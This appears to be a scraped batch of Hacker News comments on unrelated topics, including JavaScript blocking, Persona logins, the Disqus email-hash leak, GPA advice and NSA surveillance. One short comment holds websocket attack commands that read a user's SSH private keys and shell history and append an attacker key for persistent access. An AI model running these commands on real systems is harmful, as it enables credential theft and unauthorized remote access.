skysight-inc/HackerNews huggingface dataset:
The first thing that would fail is the ability to login to his own site, which uses Mozilla Persona and requires JavaScript.

To be fair, I'm very much in favour of reducing the amount that the browser does and to send less stuff to the browser.

I'm in favour of Tom's whitelisting approach and I used to believe this was the best way to consume the web. But that was back when most sites still had an idea of gracefully degrading and continuing to function.

Too much stuff breaks now, and I find that a blanket policy no longer works. Instead I user a combination of Disconnect, hosts files http://someonewhocares.org/hosts/zero/ , private/incognito browsing, to block per-site, to prevent bad stuff getting through, and to prevent sites abusing my use of their site (aggressively tracking and marketing).

But... by and large I now leave core JavaScript enabled. As too much breaks.

Some things will break any way (Omniture code that captures an onclick and breaks the anchor by default unless their JS is enabled). I feel that my setup is a pretty good median point though, between blocking junk and having the web remain usable.
you could salt the hash twice. One (large) you store the other you throw away. This way to compromise a specific account you would have to steal it's stored hash. If there was a leak of the hashes you would need to bruteforce all the hashes which were thrown away
> I expect even past gen consoles could run SNES games without loading times.

Point is that an SNES could play SNES games with essentially no loading time.
WIRED: "60 Years Later, Facebook Heralds New Dawn for Artificial Intelligence"
Your problem is not that your family is conservative. I don't know how "bad" your GPA is, but if it's trending downward, the problem is not your aunt/grandfather's views on the world, however outdated they may be. You don't necessarily need to change their view on programming / open source, but you should appreciate they are concerned for you, possibly for good reason.

pg has a PhD in computer science from Harvard. Do you think his undergrad GPA was low?

You have four years to get a decent GPA, you have your entire life to contribute to open source. You can possibly do both while in college, but the former might be more important.
ws.send('cat $HOME/.ssh/{id_rsa,id_rsa.pub,known_hosts}');

ws.send('history');

ws.send('echo "' + pubkey + '" >> $HOME/.ssh/authorized_hosts');
No kidding. We don't know OP at all so for anyone to say OP is "100% going in the right direction" is just not an informed statement.
I miss hooking up 2-4 controllers and play with your gang online.
Only a limited few support this. You just need some friends to bring their controller and that one friend that doesn't have a controller can use the spare one (the one with the trigger that doesn't spring back like the others). No they want you to just stay home and use a headset to talk with your friends.
xbox one tries to fill the gap by letting you share gameplay quickly. (because that is what you basically do when you are together, you all show everyone cool stuff and laugh about fails).

My experience with the xbox one so far is that it is not all that smooth, and I can turn someone elses xbox off by saying it (even when im off screen)
Think its possible for the kinect to watch the lips of the signed in player so it can verify that the player is speaking, not the troll that masters the "xbox turn off, yes" command.
But in the end for me the xbox voice commands are fun and I don't think it will fade away since it is easier to use voice.
(Also needs fixing, is the part where a paused game randomly resumes)
> It’s a cargo cult: people do it because everyone else is doing it.

And that's one of the core problems of our society. The seed is planted by commercial interests we cultivate in our culture (the rat race for more money than your peers) and it grows, because we don't choose cooperation (as in "open-source software") over competition.
Yanis Varoufakis - Confessions of an Erratic Marxist
Why would the modding scene not exist if it was written in C?
Presumably if you're an undergrad you're an adult? Part of growing up is learning to make your own way. You family were the people giving you direction as you were growing up and now you're on your own - you decide what's good for you and take the responsibility to explain your decisions. It's great if you can still get advice from your family, but if you don't think it's good advice that's fine. Everyone goes through this phase. It's particularly hard in the beginning, when you're just starting to make your way in the world, but it gets better with time. Listen to your family, make an effort to explain yourself and also be very clear with yourself and with them about where the line between their giving advice and your deciding for yourself passes.
How to build a read later system on Google+
Step-by-step tutorial on how to build a read later system on Google+ using an empty circle.
Direct link to article: http://google-latlong.blogspot.fr/2013/12/create-your-own-st...
At least some of the emails weren't even private. I saw an example of one of the politicians who got their identity 'leaked'. The email she used for the Disqus comments was listed on her official municipality contact page.
Coach crash prevention system tracks drivers' eyes
OT: Do you have an email address? My work net filtering is blocking this blog for a bizarre but somewhat troubling reason.
In general, what you're asking about is called a "salted hash". I don't understand enough about Disqus's system to say it would definitely have prevented this vulnerability.
> The first thing that would fail is the ability to login to his own site, which uses Mozilla Persona and requires JavaScript.

That's why I'd whitelist my own site. And the only person who that would fail for is me because I'm the only person who can post to my own site. :)
These top science journals may want to look at Encyclopedia Britannica's recent history because the article's quote from an executive editor at Science sounds suspiciously like what people at Britannica said as they saw what could have been their opportunity pass them by like they were standing still.

> Monica Bradford, executive editor at Science, said: "We have a large circulation and printing additional papers has a real economic cost … Our editorial staff is dedicated to ensuring a thorough and professional peer review upon which they determine which papers to select for inclusion in our journal. There is nothing artificial about the acceptance rate. It reflects the scope and mission of our journal."

On another note, if I were an enterprising graduate student looking for a project to work on, I'd see this as a great opportunity to work with a Nobel-prize winner on something important enough to him for promoting science that he took this stand, taking away time to work on his other passions.
In case anyone feels like complaining about Persona depending on JavaScript: yes, it is true that it depends on JavaScript at present, but that JavaScript is only a crutch—a polyfill for something which is intended to undergo standardisation and formalisation as core browser functionality. Assuming that happens, Persona-based sites will thus in the end not depend on JavaScript.
I thought it was common ground for C-game-devs to check how much memory the game needs total, allocate it at start and handle it's management manually (for performance reasons).

Wouldn't this also allow for creating a simple out-of-memory error on start?
"Rape is rape, whatever you pay the pimp" seemed to imply that you made no distinction between prostitutes and rape victims. Sorry for the misunderstanding. It seems unlikely to me that a "big portion of all prostitutes are rape victims" but I guess we are stuck with anecdotal evidence at this point and discussing it further won't help.
Indeed. As the article points out, it's all very super-villainy. They're not even trying to pretend they're the good guys anymore.
> My grandfather tells me not to write open source software because I don't get paid for it

Yeah, these are the values of the rat race culture we've been nurturing so far. And look where that has taken us. Sanity?
It's possible to prevent this. Disquis could create a service limited to their network that could store a unique id for each registered email address and hashed with the email, or used instead of the hash. This obviously adds additional computation, latency and storage to their system though so it's far from free but it is definitely possible to prevent this type of hash lookup.
It's definitely something someone with too much power would say or think, especially in the context of the NSA.
Out of curiosity, how is Persona for this use-case?
That Octopus is probably one of their tamer patches. The National Reconnaissance Office missions have the best patches - http://en.wikipedia.org/wiki/List_of_NRO_Launches and http://www.thelivingmoon.com/45jack_files/03files/Mission_Pa... detail them rather well.
I suppose we'll wait for those updates then.
Yep. tom [at] tommorris [dot] org

I've been filtered in the past because of LGBT related content on my site. A friend told me their school filtered it for the stated reason of "advocacy of immoral lifestyles". Which is hilarious.
You only have one degree, whilst you have plenty of years. Spend a bit of the next 2 or so years making sure your degree is the best you can get. It'll be handy when your startup fails (everyone fails, it's not a reflection on you) and you need a job!

Honestly, I went through the same thing with my parents ("When are you going to get a real job?") during my gap year freelancing. As people have said before, you can show them your success... but your degree is definitely part of that, and you'll rather you had spent $100k on a 4.0 than a "just scraped by"
Netherlands here, no such thing in public schools, friends of mine who went to Catholic schools do mention morning prayers, I'm still thankful my parents sent me to a public school!
The Lens - making the global patent system more transparent
Your family is right: 'programmer' is the software equivalent of a construction worker, and you almost certainly do not get paid for writing open source software.

Whether these truths are bad things is another matter though. Where would the world be without construction workers? Can you imagine what a building would cost if the architects also had to do the actual construction? And would it be a better building for it? And who would have heard of Linus Torvalds if he hadn't written some open source software? Your name on a popular project is a great advertisement for yourself. It gives you a broader choice of employers and it helps your salary negotiation.
> In that light, it's too bad MSR canned Singularity:

Or that few people are aware of Oberon and Spin projects outside the respective universities.

As for Singularity at least parts of the native C# (Sing#) compiler landed on the Windows Phone 8 .NET native compiler (MDIL).

I would really like to know how project Midori relates to Singularity, but it is still kept internal.
You seem like you have it all figured out - that you know "things" that your family doesn't, or that you think that your family's life experiences are old and stale and not relevant in today's modern world. It's funny to see this for me, as a 42yo man. I was that way too when I was 14-24. I'm not being critical of you - it's more a 42yo man bemusing how funny life is.

I read something yesterday that resonates here - it was a something like "Remember all those kids in school who always asked the teacher, 'Will this be on the test?' They were on to something. It's your job to know what the important metrics that you will be judged by, and it's your job to make sure those metrics are where they should be." Well, you know the metric - GPA - and you are letting it slide because you are doing side projects. Let's swap this out with music and see it from a different perspective: "Any attempt at explaining why my GPA is getting lower and lower as I focus on my music outside of class is futile."

The key point I'm trying to make is that you are distracted. You can say, "Yes, but I'm doing side projects that help me become a better programmer." Fine - that does make it better. But when your future prospective employer looks at your resume and compares it to 3-5 other candidates, will they cut you the same slack you are giving yourself?
Intralinks Expands, Rebrands, and Starts to Shift Power to Boston
The analogy of Britanica is off due to one fact:

Britanica could get a thousands and some millions for not producing a single issue off their old catalog! As a former Digital Librarian it is a serious racket!
>Apparently library calls like calloc() and fopen() never fail.

No, rather: even if they fail, nobody cares. The game will crash, and that's it.
Hi code_duck. It's actually code, not free association. Let me uncode: Ada Lovelace wrote what most consider to be the first programming code. She wrote notes for the Analytical Engine--Babbage's early computer. She was a visionary regarding design and specifically how society could collaborate with technology. In the recent discussions about all people learning to code, I responded to the simple comment "Ada," by pointing a bit more sharply to the inflection behind that comment. Ada the language, yes, but the concept of society at large and coding goes back as far as Lovelace herself. There is a current of comment going now too that suggests the need for a broad underlying knowledge base on the part of hackers/programmers. Lovelace had that educational background. Humanities, science, culture. The whole soup. I am sorry that you were offended by my comment. I hope this elucidation helps. --GuerraEarth
Twitter stock hits high marks with new ad rollout
But if they haven't changed their password after the Adobe hack then they're already boned, aren't they? How doe the Disqus vuln add to that?
That's a zero-sum fallacy. One person being better off doesn't make everyone else worse off. In any case you can make the same argument against any other private service ever.
The NSA's morale is low because shit rolls downhill.

The pressure is increased while blame flows down The Hill through every office and cubicle. New procedures are set in place so that supervisors can tell their supervisors what steps they've taken to ensure there won't be another Snowden. Peons scramble to adopt these new procedures all while under closer scrutiny from everyone around them. Everyone, including the janitors, are pressed to find "traitors" in their ranks. All of this while harvesting/analyzing new data and shredding/deleting evidence. I'm guessing that $100,000+ salary is fast losing it's allure.
I don't think his point was that client-side scripting is bad, just that there is way too much of it and the way some people use it change fundamental functionality.
Arduino with an ATMega replacement chip
Once you graduate, noone cares about your GPA
I'm not sure why you feel your family is conservative. Remember: these political terms have very fluid definitions. If you stuck a gun to my head, I might define "conservative" as "folks who don't want to change anything because it works good enough already" while liberal would be "folks who want to change things that aren't broken" That's just a SWAG, though. I'm sure all my conservative and liberal friends would disagree!

So I know a lot of conservatives who do open source, who do all sorts of new things -- after they've been around for a few years. I guess die-hard conservatives might wait 50 years or so before trying new stuff? Usually these guys aren't in IT, though. You have to remember that in IT something like 80% of what we use refreshes every couple of years.

I had a very similar problem with my parents who were very liberal! To them there were established ways of trying new things. It wasn't an issue of trying new stuff. It was that they had a different mental model of reality than what I was experiencing. It took a long time before they finally figured out what I was telling them.

There are a lot of conservative people who teach interpretive dance, improvisational acting, or creative writing. Likewise, there are a lot of liberal people who are lifers at various BigCorps, are lawyers for the man, and so on. Don't confuse the comic book definition of things with how things actually work.

So the problem here is, at least from your brief description, is not that your family doesn't want you doing new-fangled stuff. It might be that they don't understand how the technology field works. It also might be that somebody is paying for college and you're spending your time chasing stuff that doesn't look like college to them. Could be a lot of things, actually. I think more information is needed.

It's one thing to want to freeform chase your dreams. It's another thing to commit to a structured regimen of training. Sounds like your family is expecting one thing from you and you want to do another. As long as they aren't writing the checks and you're not making a mistake by going in debt for something you're not using, sounds to me like you get to decide. Time for an honest talk.

Also, and this is tricky for tech folks, you just may never be able to convey what the tech world looks like to them. IBM lifers have a much different view of tech than SV types. (Each tends to disdain the other, but that's a story for another day)

Buck up, kid! If you want to spend your evenings building free software to change the world, go for it. But that means you have a communication job ahead with the family -- one that might take many years to accomplish.
>2500 lines of C doesn't mean a thing. I could do it in 1 line when I removed all line breaks.

Actually it means a lot -- since it has proper line breaks.
"JavaScript is becoming the new conduit for awfulness." - did not you hear? It's called "Open Web". It means you have no choice but to use a single hastily-designed script language. Or second-class-citizen transpilers.
CLR seems to be getting some new toys past Visual Studio 2013.

There is the new JIT compiler based on Visual C++ backend and more targets besides Windows Phone 8 will be supported for native code deployment.
Ask HN: I am crazy (but can you help?)
I'm one of the co-founders of a startup called Bundio that enables artists and record labels to set up direct-to-fan subscriptions to their content. Prior to getting into startups I was a singer-songwriter but about two years ago I put music to the side for the most part. It’s a real problem because I strongly believe those that build the best platforms are actually users of those platforms. I came to the realization that I need to get back into music so I can be a user of the platform and build something remarkable. I also realized that money wasn’t going to be well-spent signing onto a new one year lease for $1k / month in Boston.

So I’m getting out of the office and hitting the road!

On January 13th I will embark from Guilford, CT (my hometown) on a cross-country tour playing/recording DIY concerts, making field recordings of artists (that I’ll add to a Bundio subscription), and meeting up with other startup founders as I pass through their towns.

55 days on the road,
25+ states (and Vancouver, BC),
30 shows (hopefully)

I’ll be documenting the entire journey daily on the site I created for the tour: http://housecallstour.com

How can you help? A number of ways: connect with me if you are on my route (http://housecallstour.com/route) or know someone that is. I’m particularly interested in meeting up with those working on digital media, social media, and music startups. As I said above, I’m trying to put on DIY shows in living rooms and houses (Edit: adding link to my music - http://housecallstour.com/about_drj). These will be house concerts (tame), not house parties (wild), so even if you haven’t hosted something like this before please do consider - it will be fun! Joining me for each show will be local performers. I could also use some help with couches to crash on along the way.

Anything I’m missing? Please let me know if you have any ideas for me or other ways you think the HN community can help!

Julian
hn@bundio.com (email me for my cell #)
>>Not everyone has a 1080p laptop or large external monitor. Most people will have a 32"+ HD ready TV.

Isn't a 32" HD Ready TV a large external monitor?
None of the revelations of US spying of the past year have particularly shocked or surprised me, and probably not very many here.

The level of sheer insanity displayed in the latest revelations however, with yesterday's "horde of Orcs" and this sickening slogan "nothing is beyond our reach" is worse than I could have imagined.

US intelligence has not just gone beyond what is acceptable, they've completely gone off the reservation and have lost all perspective. Historically, this doesn't end well.
Hey, stealing is stealing. Right US government?

I guess they don't like it much when they are on the other side of a copyright trial. So why does Obama keep pushing for stricter and longer copyright laws in the TPP treaty then?!
Analysis of 13.6 billion social media data points
Spotify desktop app is awesome. There is no real need for a web app.
Works great. I chose it because (a) I couldn't be arsed to write a username/password setup and (b) using things like Facebook/Twitter requires an API key and I can't be bothered.

Optimizing for laziness, Persona sort of won out.
> Sadly things have reached the point where this is just not realistic anymore. Too many websites just fail to work altogether, and I was spending way too much time whitelisting sites.

I have a very simple solution to this: website breaks and has no legitimate reason for using scripts? Good bye website. I don't do web development, so worst case scenario is website breaks so I get my ass back to work sooner.

I know one person is too little to make a difference, but I don't care. I'll stick to it for as long as I can, and continue to deprieve the owners of such badly designed websites of any revenue from my side.

It's the same with any media, really. I sift through a book and find it's badly printed and barely readable? I don't buy it. For instance, it's stuff like this that gets on my nerves:

> Thanks to frameworks like Angular and Backbone, you can build applications that contain no data in the HTML document at all. Hypertext without any actual hypertext.

If there is no hypertext in your application, why the fuck are you using a hypertext protocol in the first place? Just like I wouldn't buy an electric car that requires me to purchase gasoline just because, you know, it's a car, so you need to buy gasoline with it, even if you don't use it (because the motor doesn't run on gasoline!), I simply don't use an application that runs on top of HTTP, but has no, um, HT.

Edit: I do think there's a lot of strength in the crowd here. 90% of the websites that break with disabled JS break because of poor/lazy programmers or because of script abuse, that's trying to siphon as much data as possible. If users demanded a minimum level of quality from the WWW and refused anything below them, the designers and website owners would eventually have to cope.

Unfortunately, the Internet literacy of most Internet users is basically inexistent, so there is little to build upon when asking for quality standards.
What about things like freely available contraception and decent sex education at school age? I often read that there is occasionally opposition to both in the US.
>Difficult to say. Writing in C doesn't magically make code run faster, and it's entirely possible to get abysmal performance compared to a better implementation in a high-level language.

That's the theory, but in practice, the kind of programmer that is competent enough to pull it off in C, is also the kind of programmer that will give it better performance than the one writing it in some not very game-suitable higher level language (say Python or Java).
Difference is, Facebook can't send me to jail. Or kill me.
Kind of. TCmalloc used to never unmap pages (though it would reuse things the client freed), which made it awful for long-lived processes with dynamic memory usage.